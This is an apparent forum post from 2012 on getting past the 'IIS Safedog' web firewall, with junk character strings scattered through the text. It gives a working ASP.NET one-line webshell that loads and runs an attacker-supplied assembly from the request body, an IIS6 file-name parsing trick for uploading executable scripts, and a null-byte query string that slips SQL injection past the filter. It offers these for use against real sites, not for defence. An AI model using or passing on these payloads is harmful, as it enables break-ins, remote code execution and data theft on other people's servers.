1、绕过IIS安全狗的一句话。2 W7 j- ^$ h& L5 o2 r$ w9 S8 j' S
前几天测试一个网站。找到突破口之后，写入webshell，但服务器上装有IIS安全狗，平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
2 D, @, ^1 B, v. a# p) t w! i( Y<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
0 W6 f% a. E$ k* M8 s* ?0 T6 s! ]% }. M( e' w# j
2、IIS6.0解析漏洞遇到安全狗。8 `7 w! ~( j3 p( x4 Y- g% |" m
文件名为7 W# o4 R/ B5 o2 `+ m+ o# F. h8 D
http://www.xxxxx.com/sh3llc0de.asp;1.jpg1 c( b' [$ ]4 S- r9 {3 w) ~7 a, S& f! v
1 _( x( x! [2 d8 k- E0 J这样的会被IIS安全狗果断屏蔽。, ^9 e9 I: i) Q, \
改成如下名称,IIS6一样会解析： b6 ]/ |' ]$ ~3 L$ } L
www.xxxxx.com/;1.asp;1.jpg1 n, v3 ]' B2 G1 D
5 e/ }" S( c9 m+ P3 [& c3、安全狗的注入绕过。 S! i3 s6 g4 d2 M+ P$ x( ?( z1 U. O
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。
7 X6 o; w) l( B1 o8 O但如果：
' R) d: a0 n8 h! H5 h& Z% Xr00ts.asp?r00ts.com=%00.&id=69%20 and 1=1
( D# u* i f; I" L. z3 C就可以成功绕过了。6 ^7 s7 r3 T+ A! h$ E/ o& N
$ P1 M9 K# C+ C) R( ]6 i
' ]! ^8 ]; X4 J; }7 r |
发表于 2012-10-31 08:25:30
收藏
支持
反对